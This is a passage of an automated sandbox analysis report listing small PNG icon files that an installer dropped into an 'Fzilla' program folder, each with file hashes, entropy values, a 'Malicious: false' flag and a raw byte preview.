Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	404
Entropy (8bit):	7.26076176640864
Encrypted:	false
SSDEEP:	6:6v/lhPWJrl/T6J1KpAvbA4ChBkNbugMjbuAaaQTZXYZSm4OIr3IKZbhxWdk/Up:6v/7Kl2J1sKC0JHA+FXYUBOIr7ZFx0
MD5:	E38DF703A97FBAE931117568E50BF5DC
SHA1:	9B37405CE260C0322666CA5D41413CBA2950F2BC
SHA-256:	F46648E8C09114DB5C583C2C59A4EA0B6A17B8CF818B6B4275C0CC9590A51D33
SHA-512:	DD57FBEC9F30D4EB55351155717DF32F1AB41AEB51FA326ED985DBE2E19B1F0E34F706567072F21C1C29DBAF808E6AC3916D4C27F0FC6D1E3198508A8B73CD26
Malicious:	false
Preview:	.PNG........IHDR................a...[IDATx....nEA......n..m.m.m[.q.w..d......;.... H......t.#.~....T...;....=.A. 0....k...Q..HS&.p.......UI__.....D(..r.,P.....I..i..@.[#..Z@............U.p.......L.'....{U....V.\....9......n...%(..E..D.{.8.F....q..;..q...2....{...sD...y.E..>...+..o=Ex..B[N..\|..Jp.)..N..x.....S.g.D.......QP#.R.......W..cx.............KB..q/X.L...O.G....St):.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\folderclosed.png (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	377
Entropy (8bit):	7.235383912766703
Encrypted:	false
SSDEEP:	6:6v/lhPWfO82ENLtP9Uvj+lByj/5oKhLSN5xHBuYmrAalD6oZx/Hnudr+Jd0izjp:6v/7AOzEVVsj+lEdRhmrxgGoPPnUrLiJ
MD5:	2E7B092A6ED3A0AA0026DB8B89CB9642
SHA1:	895C7F9A28757362D30C7EB6D085EE46E7E81D57
SHA-256:	563A1C4A29962C073B77AED42B3A248BE35C88DDFE266E94E90444D206EEC88B
SHA-512:	B17EE0982EAD8FC3D3810CB6CD4E82D0B2ABD5C1E0339575A302967867568370C081E7B752FBDBB03630C4651FAEFDE4F9FDD6AA8BDEE17F3889C74B2F1ACD95
Malicious:	false
Preview:	.PNG........IHDR................a...@IDATx....L.A..l.ljF6...!....l.V....>_.....~.{.= .//%-..&.!......g.&......(...`\|..O....YyE.p..<.W.@GG..F&....G.z...'.\.x.?'E..Y.lbZ..GJ...&''.cLt...v...Kk..77...{"....w...T.b1..o.z}}M..V...7..F.P(!.)..........c.**T..%c\|.../...$r..3..i>.P.fF.._J.u\|.0...%...!.S...<.............d.Jj.P.!{sSt.w.D........@.=.`...['XZ.*=.A....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-2B5VJ.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	726
Entropy (8bit):	7.656878133234371
Encrypted:	false
SSDEEP:	12:6v/7rZ874GsyvRkvvUwR1fDGmh0TMWpMmrvP7k1hsawImiQbWmg1:S22vLRZGa0wRmrnQj4IubWx
MD5:	F2FB93109620A752ABA1BEA43B80BBEC
SHA1:	CCC1C45FDF9E2ECBAAFE8B6155524396E6D1F703
SHA-256:	1119BF65771FB8649DBF3A2DFCA641D53F044D0BCF0B531CE77D64D709042A4C
SHA-512:	F0CA07251BFE4149E296D90836E32A305913ADD7549074127707272385F9026540215EDA416DE5ECBB56D257BDE67F5E4FB95916B6351BE2A68656458DAFBD6D
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.m.C..a..c..8.m[..m{..m......K...oPx.....\|......3...S...3.......&.I.%.Kg.r....z\|..K/...X..d..;..X....u.....=..(~..U.?C..<5..o.i..#..B..3....+(>..<c.i..K..y-:e...y=8...E.....G..m($8..+..s....&.USjA.....CA.(....A.;'..k..4..F"....s`0X2]..~.3..ZJ9...T.9.'...v~.....o.....M...]Q`b1.$.Rn...........K........k_.o. ..:.{a.%/De......6.{.M.....t..K..EK.....A2.jP.%P.g0..j.a.\......)..}uLTM..g..iG....9.)\|..H7..qS.E~....\B.N....u.Q^...g.n8.hFh.9.y........Zs...C.4U#`0.PT....b.4=.\7....c.w6qlVq..`....y.........T...c..F..........4n.e.:..\.N)#..B........4.n.".E,. ..&4\"!.....i...[n....G...$..J..b......b.l.!...o....Mh..{(F....f..L`..p...AZ.........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-2GSDD.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	574
Entropy (8bit):	7.5290643797830485
Encrypted:	false
SSDEEP:	12:6v/7j/GknT5mXGWLhh9ZQk0hY2h+Qz/3MtS2yfXdGtYl1:jkT0bh7p2h+Qz/8QPfXdGGl1
MD5:	D3AD50547B7FF3C262C8866A60EFC222
SHA1:	DC10F14BB584F382B4700DB788A71AAA8D11EE7C
SHA-256:	EDDD9D37C741484A4543CBE7D7DBEE2180E4DC61487A9E28E84524C2A7FD9E6B
SHA-512:	62B78401C2A2742E4DF0903D0FF27B6EEFE61F64B6455813AF88D21878409B69C536C9F5F2435A033AC5114407216AC8B8AB2B237BFAE5595DD76016F022E604
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx......Q...F.;..4...m.nP.Wo..m;X..q.9.{.....\|w....5..A.!.VXM..y.cx.:..5...Z..r-\@..D..?}.4...X.v.(...*0.<....PS......L...d.l .(..HHH....'`.. ...D..u..Y.`..pl.......X.e'.....0l.>..&......u.#..@R.=......&.7...,...m.B.....{....70..{.-........-~k...PT....Z4..`..=8p........y>....."..+.p~....$...F I.FL;......k...C1..n....\h.....3.p;....w#../s.^..7B....@.4.K......f...a.w-.Y......7.....?.......j........M..b.../........./#!.2W\|.>..JJJ..:.....YYY...PE&''.....6..K.W%.cQ..w&....z....>\|.E.....l...[...T......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-3FIC0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	775
Entropy (8bit):	7.631703149758525
Encrypted:	false
SSDEEP:	12:6v/75QpBihcjy7+QFox0ebRVfEdxNmzIhTMOSxObgN/uAbvKXn9zIjFIl8Fi:RpBihcm7dFoTzfCsshcObgtuAbeno0V
MD5:	D98C98B92109B06FE5758865B8BD174D
SHA1:	7BF8CF25E3843B703DFD5B13D71EDCDB7ABD1EF2
SHA-256:	4B9A0DFA310370DD63B9446F0DF9C7B8232BBCAB994A773C1CFC64938ECB4582
SHA-512:	88600A543244BEE5B9A29971DAB0943D09FF7BC4D7AA2BA4DA91E380C1B7FAD6C0E21A63B3A03BC776E7B2BF4A1510A9E3951ED66D9A120C0D70682AA26717D9
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b0......pd.....FU-Id..0....N.a..a..fl..c-..m......r.y:<}.....s5,.Y..#.....aW.(~.Z/"@/...em.[?....<...).F......&.4..t0:'Q?$..[.gn....4..s..2.......$4..(...<..6..Q.5.R.....7.N.f.......B.......i.J.'7@o4#..".L.!Mbk.......g"..,..b.....8..O.t.\|..4....B.....&P?.....H..I......{.FSC.N.6....O.y..t..L&wwy\|.X.H.X2....x'[.t...!..E.....v"..7..\.._9..8..)`..X..4......LU'..,).2..%..T.W6.V....Q0....~?d.%F.V..eC..."...v......[dw.QG5...@.....D8..G4....BeS...8...&..$....p[.0t..+......Y.=.Jl..cE.....j....Bl:..'.U....J...%\.'..=.X,..:.k.X^...L.~...R..G....6....:...\Z...;.P.#.D...3.........{....a.3..o.c..#....b^._.....K.7.7..B......hr'.....I....V...q.....'...uua.........!;...6T...c]r........W...Jnw..}.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-5R5KV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	258
Entropy (8bit):	6.670897253248914
Encrypted:	false
SSDEEP:	6:6v/lhP9+37be/o81Ur4psmFaO7SC+EAWNfwM+o86HG+/h0bp:6v/7/g81Uy7Sk69eGeU
MD5:	4A2684BB12EA28587CEA33C2B60004D3
SHA1:	4B834303D8530BEC7C07C8938B9CD928164385C4
SHA-256:	3DBAB7B4BCB5B6339A6A515EDB3519775BAC0D2A0E7BA6A274CF128641294589
SHA-512:	A521C4B92ED4F5BCCA621FB66B546E2339BFF5523092A3AECEDC81182040BD99F1D8804964DCB7C35F9150C5618C80E8F02C6B26C702D845931FDA346DA40583
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c...Z......x:>...8q.....k....g.X.M..N.+.1X.....x...XC.3@\|.J.....@j..kMk...C..k..w+.b..~u)... .@r`qb....7.X.bs........+.\.b.K.6.~}..5.~..-Qa.7.....n..?.b....0..4_.7.}....7.~.......@..5..+KZ........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-67J6D.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	341
Entropy (8bit):	7.08301148035934
Encrypted:	false
SSDEEP:	6:6v/lhPWe2Tb3tsgWtI1tnkCPZLST3g6vPrT7D03sFC3EBMXjp:6v/7Nib30IpPZyQIPrT7DOsFXWN
MD5:	D50FCCAE30BCC58EEDE752301EB81C2A
SHA1:	4ADEC1131F2962A71574F14B6170769001759D5E
SHA-256:	2DEA6DB15AB2B9813F9547F44C0B94CEB33A408E74974DCE347DFE99821D300C
SHA-512:	433E8B23163A4727F1E4CBF462EEC14871EEBD81863BC11EB46C497809526533C424F5501460E78E963F7B6C9866ECFA3ABB0F232663FC889401911B003413B3
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b..jM......B...\......O.<!..........x......G.1X...6......2r.6.v.66v...r...........\|v...>.....%u.N.0.p9..R.>.?..H..O.[....`.....M.7hv..V..:.M.W7\a4..d2...{...\...y~x.f..-bv........~.EQ..!...:.......D.._....~......=.......;o.4T...$g.@...j..l8...x...,.4M#..;.K...n...i.2=......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-6DAQE.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	225
Entropy (8bit):	6.571167968821731
Encrypted:	false
SSDEEP:	6:6v/lhPEtLaiy0aAUqAca+IX782kxxp3hrgLp:6v/7muiXRUqAcJdxxfc
MD5:	242B43BEA5C3647B33C60BEAFFA30AA2
SHA1:	3239645565C86CA9B9C660F4E29F9C495E3FA54B
SHA-256:	58761FCFEEDFE37252E0DF211429330FCCF699410512EF5EF1CDBF061C4FFB4E
SHA-512:	51C7BE7B1291DBDCEE21E89CBF453BCFFC9A032409E8E8429806FABFE417E94EC46C9C3528261C41A4A76D9115AC169C336393C625458A7B71EA52E6037F4CDE
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.9s.....$.0....b.@.......H......,...0..;......?A.qx.A...~.R....C...Z.c...*.U.A..(.p-.\|.Rg.\|.....:G ..] ...R.U ..8..] ....V...q..(...8>.~#;/L.:u.....g......B.6...Z....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-6PN6P.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	774
Entropy (8bit):	7.66239023644788
Encrypted:	false
SSDEEP:	24:wPDPiaQgMFF6affiDLGOcRLQ8zjDyn8Eg:8K343GZ3X
MD5:	F900DAC414868E1EFD85617033BB8E3E
SHA1:	C1C46958810E69888E2DE6979FD8E936E1909E57
SHA-256:	B189DBB4EAFFAA19F22285EF1EB61E32736D8950080FEE814F897411567A7CDB
SHA-512:	4BC205613D8F382F39F3D51FB95BF2F81BC2C4197C8FC868F70263153AD2D6BB7187DD2A3E8ED27556DFC312C8D9BC9A293FB3CE8918554E29D342E193FE0AEF
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b@.e..+..r......+.........b:.!P^Qj.`......s.C......c.1b..`..F:6...mEu.V.h.q?../.m.=..'H..0.. ....rR<.w..}v,....B.....S1....^............5....8 Ge.F.........8._.#..r$...s.s.3k....8"_y5.'....^;.>{......s.P.-.b.\nqkn~u{95.Q.N..w.....j:]...l[....l..p...>..I..Jqrf...[/L..ola...H\l.g.O].a..1..(....@......7<.<.O..G.....@b..?...5.d.h........^.j.....8.......'...D...Rs..H.....=......4..CCCE..W.}kxxG.....%.Xj..!.......g.p....m.V.K.3..V... 6.tm.G.{"s.....[l.)P+...:...B.$0...J......X.W...;\........]r.C....x%..'.7o..:....X..o..%..5o.\[.o\O........6/E..m.C.L...*....F...\\f.....9.. AN....#.^......p.FC._..S....?\|....Z.`...(#..:.....V.h..@?....\.WK..n..b1x=......Y........NNNN.j.....a....?..x.......IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-7TQB3.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	241
Entropy (8bit):	6.454110942701482
Encrypted:	false
SSDEEP:	6:6v/lhPfqZeQnZ6Usb8TW7s+aTPOlR+PbqBp3V8kYup:6v/7mnZ6UsjxaClR+Dqf3V8kR
MD5:	2732C4722673E9F8B56C2DFDE9D8C370
SHA1:	9D2D1A46DAA613978E665D21D2081287C29BBECE
SHA-256:	C127AE5A624A015AAF9980EEABEED10D5F9D89607B00A595CA8229B76A4614B0
SHA-512:	4BEC4579FEBAAC50E77F5165644B5788F75B3824AC4FE174F65FAA4121B3544C802E03C83BCDA674B427108508B491FCDAE7338794A5559D1294AE189C0C0CBB
Malicious:	false
Preview:	.PNG........IHDR.............(-.S...9PLTE...9Ux9Ux?c.Bk.Co.V..I\|.Fz.L..Ez.V..d..\|............/..y....tRNS.XY.........V....]IDATx.....E1.Ek.>........w...p......V.a........`RK!VMp.!....kE/!.k....G......w.../.`.E@...&.>....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-8BQ1V.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit gray+alpha, non-interlaced
Category:	dropped
Size (bytes):	291
Entropy (8bit):	7.038765793962431
Encrypted:	false
SSDEEP:	6:6v/lhPO6VsyWFTPRrfm2X0vDJtFQgm+NUDjMGRwREWn33sHdYLqXD5QchcX9p:6v/7PVsPT9ODJtiEU/iCW33s9rQV
MD5:	742C368BC4C19830ED2E088A253015EF
SHA1:	001D2365E26A1D6120BE78D76A34E564F15C7011
SHA-256:	DBE5A7B1DC74E1BDD3075433E8E2DBEE47AD2B765944735F9B0FAA3361371472
SHA-512:	8C3D87B8A3E7EDB83944148EE85BC5A25C41CF6AC3C56A8B32D54BC0338365A6BCF1482C580C3FF24E3744DE9687174337ACFE2549D7C0B6F5C8D0E2078E936E
Malicious:	false
Preview:	.PNG........IHDR...............7.....IDATx.m..n.@...I.....W...EX...mG5.m...[.[..`"..K......_..x.kHR..[>.qB....X..l...`..$......0..7....+.y.b..;.. cbT..A.6jc;\pN8.#..y.."w...F.9`.)&..?.....!.q.....M.~.=...1.Mr.@V*.r.AV,..e\..`..N4.N..q..f\|8.M<.V."/..J.J,.....j.d........IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-AA1U0.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	201
Entropy (8bit):	6.531342860343286
Encrypted:	false
SSDEEP:	6:6v/lhPMili5l97DBH87GQxz6Ba6JQRKFmHh2wp:6v/7pIlpDBCHxWs6JQXA6
MD5:	93FA5220A2B95C60E9AFDD33B37B2789
SHA1:	E861ABAA12522991F716E788BC4858187728AD56
SHA-256:	AC96CDDC7EFB9771389DA52F4B6D5630EB938920E85890F80B851D55DFD02DB0
SHA-512:	BFBC462BCA644C0B5517FA09CDD0196AB80B08D93126DDE1D1B017927B4709C80493FB96D535979725729AC154A5269797247F0B9A3F8E54469F0403E6D4C916
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c...$u.. ...g.1...s.......`..?.....V..\~........1D3.o;....3@........y.......l....[.'l...m....n.._q.......{.5...@.A....."..tyz.....%e...X..C.1.-....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-B37P4.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	377
Entropy (8bit):	7.235383912766703
Encrypted:	false
SSDEEP:	6:6v/lhPWfO82ENLtP9Uvj+lByj/5oKhLSN5xHBuYmrAalD6oZx/Hnudr+Jd0izjp:6v/7AOzEVVsj+lEdRhmrxgGoPPnUrLiJ
MD5:	2E7B092A6ED3A0AA0026DB8B89CB9642
SHA1:	895C7F9A28757362D30C7EB6D085EE46E7E81D57
SHA-256:	563A1C4A29962C073B77AED42B3A248BE35C88DDFE266E94E90444D206EEC88B
SHA-512:	B17EE0982EAD8FC3D3810CB6CD4E82D0B2ABD5C1E0339575A302967867568370C081E7B752FBDBB03630C4651FAEFDE4F9FDD6AA8BDEE17F3889C74B2F1ACD95
Malicious:	false
Preview:	.PNG........IHDR................a...@IDATx....L.A..l.ljF6...!....l.V....>_.....~.{.= .//%-..&.!......g.&......(...`\|..O....YyE.p..<.W.@GG..F&....G.z...'.\.x.?'E..Y.lbZ..GJ...&''.cLt...v...Kk..77...{"....w...T.b1..o.z}}M..V...7..F.P(!.)..........c.**T..%c\|.../...$r..3..i>.P.fF.._J.u\|.0...%...!.S...<.............d.Jj.P.!{sSt.w.D........@.=.`...['XZ.*=.A....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-B3T2J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	191
Entropy (8bit):	6.3623597179068705
Encrypted:	false
SSDEEP:	3:yionv//thPl9vt3lC/LaxcGlkYU77JdjYRxWlsU6Fz/HpldRLtRgXLoAQ94JIfm+:6v/lhPMLaqLl7vgWWJPp5gbE4Gfm0AIV
MD5:	B5544B3F18AA63B9041FF92A9D404CE9
SHA1:	CD61335DE5681A682E199093D8248D833CDFE94E
SHA-256:	ECC62EBFA9D52821E70B1D06D8F0A6FB5854CCE9838397D3F67957ACC80226BD
SHA-512:	B1CDBA2CDD622C116ADE4160D7A32D29AD2A02F35E5991BCAF5A738A7E13C79D058425DC7A129114391DC548F15A8E0C778441E7F9EB73FF2EED6FFA31F288A3
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.9s.....$.0..m.a.0.......~....D4.. ..,.{y<\|}tT.@.3PJI._.."..8..^....s. `...2.2...@.7..eu.%.......a@...)..gd.S.n!57...`.....@.Yh.. ....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-BPFTG.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	582
Entropy (8bit):	7.547978947186378
Encrypted:	false
SSDEEP:	12:6v/777VTLPPXAw+wVpIyGJgazHWewbgUSGDB3waNkrRsr9ExFNSDPHN:uJwzwVfKZs9krfIPHN
MD5:	764E387CA1FBEE7561C35E479FAC4C55
SHA1:	361C69B981DEBB0B8C01B94191BCCD7A7B3C06C7
SHA-256:	F689D7C0B8F8DC0C666EF49F548BCE9219F41B92E2371E69BA0A716E449A4C39
SHA-512:	73CB52AF836C2C3A375009DE96862D7FEF5541E2A46C6D1C3BD455DBFC5AD8E3787DF993217BFF96E6E9BFAE380658504889E41D6D328A78552E70EF26E01E83
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...C`.@.E......m..Gm..7j.m.6o^l..s.....a...>...v.....+.^...a.Y......#.i7.j..N.....2.O..0D.K&.e.I.....@@Ic.D..2.,..$.o..<0.U1.%.D.a........J..X)\...=.;.3M.5.,~D_.k../VOa+......v...p.7.....(xA' .cQb@..(...b.......h..N.......v;.9..k..x.C".#....7.88.'...8..<.E.'..3.....I`.....t..1.;..a.wm.1.....p.q.^...}..xd..R.[..l\...I.q=.......Vr..F..u....V......7..W....q.....i%x.\|.......'7.8.,..)a.W.w......:.^.x..;`..@qm.yV..j..........S....ce.d.\|>-6..gT.d.:5...$.p..Ob..S..^}.w........r..z.ca...Z.5...:..t#pow.\......1....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-E2SBO.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	519
Entropy (8bit):	7.488980698354808
Encrypted:	false
SSDEEP:	12:6v/7Uh19kgwYKB8hO8gngP9DzWuRYIfyPLrw1qF+P:p9kUx8g1DRYKWrw8FW
MD5:	C5A7A7A7AB1ABCF5DBC2B9F6B13BF44A
SHA1:	A1D6A25962DFC5CD15851780FB9BC552C4E905AC
SHA-256:	207C59A844A6AA2101BAA4DCA5A867BF7F74A53A65912FB54649F98F5589A012
SHA-512:	D2737250D8FE27461A49E077D98D451A46FA015F5C105ECEDEFD53A954987431FE55A83D5C9C74A2705542626437A5E36BFB7B5BC3A2B5170B9EFC7FF641092D
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx......A.....!.]C..!.m.a.5+...m.S....[..9._.c......a..).x7x..u.:.w..(.\|.#....\q..{N.'........p]a....).$S.......]^..D.......&{..Y.A.2.IBj\..U.!C;....Z)sX(..A... .....Bb+I.2..2..F..t.y..-.R.1@....p..k.;...#...-...uPJ.=[..)~.A...V..N..f?.....Lhz......u:T..!...0....w.H.z...?N.@."9.Y,..[.`@.QI..\|e...-.0.[.8.k<?Ho.b..;q...R. 4......gJ..\|Y.\*........}&"+......X..)@l....(...1+..c./W..#...~0..).^./..f..1q..x.._?..}.1..C\|..{...~2.......\|......[./K$Xw.X....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-FCHIK.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	404
Entropy (8bit):	7.26076176640864
Encrypted:	false
SSDEEP:	6:6v/lhPWJrl/T6J1KpAvbA4ChBkNbugMjbuAaaQTZXYZSm4OIr3IKZbhxWdk/Up:6v/7Kl2J1sKC0JHA+FXYUBOIr7ZFx0
MD5:	E38DF703A97FBAE931117568E50BF5DC
SHA1:	9B37405CE260C0322666CA5D41413CBA2950F2BC
SHA-256:	F46648E8C09114DB5C583C2C59A4EA0B6A17B8CF818B6B4275C0CC9590A51D33
SHA-512:	DD57FBEC9F30D4EB55351155717DF32F1AB41AEB51FA326ED985DBE2E19B1F0E34F706567072F21C1C29DBAF808E6AC3916D4C27F0FC6D1E3198508A8B73CD26
Malicious:	false
Preview:	.PNG........IHDR................a...[IDATx....nEA......n..m.m.m[.q.w..d......;.... H......t.#.~....T...;....=.A. 0....k...Q..HS&.p.......UI__.....D(..r.,P.....I..i..@.[#..Z@............U.p.......L.'....{U....V.\....9......n...%(..E..D.{.8.F....q..;..q...2....{...sD...y.E..>...+..o=Ex..B[N..\|..Jp.)..N..x.....S.g.D.......QP#.R.......W..cx.............KB..q/X.L...O.G....St):.....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-FLHB6.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	293
Entropy (8bit):	6.963850498310983
Encrypted:	false
SSDEEP:	6:6v/lhPSY5PTcaWfkUQwqa9lcNpG4KBcVpC9DQAe/PYd0vJg+app:6v/7XhcbQceW4Ot9Ze/P0
MD5:	FDAB37BDAC5E3A28A300D430336BBEEF
SHA1:	491097FB942031EDD81BF2C164269275F12281E2
SHA-256:	370CA0C7C40BAD454B438ED418E11889B086329F04649D1D6A0E7D6A80C3B4B8
SHA-512:	CECEE63F3F064AC3312B0F254936879D5A190CF57CFF5DA397CDBEFF9E59506FB0A21ADF8B134466ED13E2207B32ABDCEA92A355B16747F8E90ADB4C02363D94
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx...5R.A.G..Ajn..t.K......\..oq9..4H.A.....o....z.:....h....!.\|>%...$1..`JF..`0h...~:\...S.....)k[.$..@V.,..r.k....H.{...1.cV...~pK.z...k..d)9q..2K&.t.L.I.....u..N`1..A....CN.....`...L...+...D...I..5........Z..'...*...:>..^Z..3.\|....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-HAK2J.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	313
Entropy (8bit):	7.057635323350394
Encrypted:	false
SSDEEP:	6:6v/lhPWdmM+riJFQaLNV6O5PynAE9nLNrsRBBEW6FRhiP2+p:6v/7ydkiXQORynAE9nLaRrEvFvM
MD5:	E9793CB6E2AEB364267DC4A9D96F9915
SHA1:	3B7AF99C708CA5E9B72C04C3368CFBFBAD9B025E
SHA-256:	F0B6C7B80903B96E5CAACAFB25BCEEF99B8CBB033E93BD431FEB0B5DA813BAB3
SHA-512:	62255F8F53EBF5491841D3E58EF96CC136679A74A010C1E5DD42A60ABCAFE3AF6ACB01B228AA3CF178E9A438AE2348365585AE6759D09ED2C4F14035ADACB6AC
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.b.....D`..l.P.]+d..P..bs....[7;V.s!6..{...............W...wzzz..'..H..$.........4....d..J-n...Z=........#Qg.....#..m..7.8.l.c.,....ONO......M.......7vPMKZ'I....(.....xY......wQgPlF..]....v..i....c..28.46Bmj".....V.mm...y....h... .....1........}F?....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-HU7QI.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	201
Entropy (8bit):	6.531342860343286
Encrypted:	false
SSDEEP:	6:6v/lhPMili5l97DBH87GQxz6Ba6JQRKFmHh2wp:6v/7pIlpDBCHxWs6JQXA6
MD5:	93FA5220A2B95C60E9AFDD33B37B2789
SHA1:	E861ABAA12522991F716E788BC4858187728AD56
SHA-256:	AC96CDDC7EFB9771389DA52F4B6D5630EB938920E85890F80B851D55DFD02DB0
SHA-512:	BFBC462BCA644C0B5517FA09CDD0196AB80B08D93126DDE1D1B017927B4709C80493FB96D535979725729AC154A5269797247F0B9A3F8E54469F0403E6D4C916
Malicious:	false
Preview:	.PNG........IHDR................a....IDATx.c...$u.. ...g.1...s.......`..?.....V..\~........1D3.o;....3@........y.......l....[.'l...m....n.._q.......{.5...@.A....."..tyz.....%e...X..C.1.-....IEND.B`.

C:\Program Files (x86)\Fzilla\resources\tango\16x16\is-I75HL.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-5H48C.tmp\rukT6hBo6P.tmp
File Type:	PNG image data, 16 x 16, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	332
Entropy (8bit):	7.1563799073499865
Encrypted:	false
SSDEEP:	6:6v/lhPWDS6+VuPdEE+CsN6syQE6ixoqaZmTBBoQiy1tRv7aha+F8fnLt2b/kXCjp:6v/7svQulAh8Q0faSo61vvJ+QY/kXCN
MD5:	939666DC67B6ADE8D86A8B6567D82FD0
SHA1:	4697B902C24BD7947FFB0C2C0A147E4DB120E6A8
SHA-256:	5BA196E809E58528953B99B30B7712181D75A6F1FA4185BA16D3D364E513B1AD
SHA-512:	19B122B41A3B9558D026DFF564605AB72A4309EA97DE572B1482981939AFA83DBC8D83F29FBF492E81401758AA0F995CB08F49FD5A5F211182E95A524C6EF63C
Malicious:	false
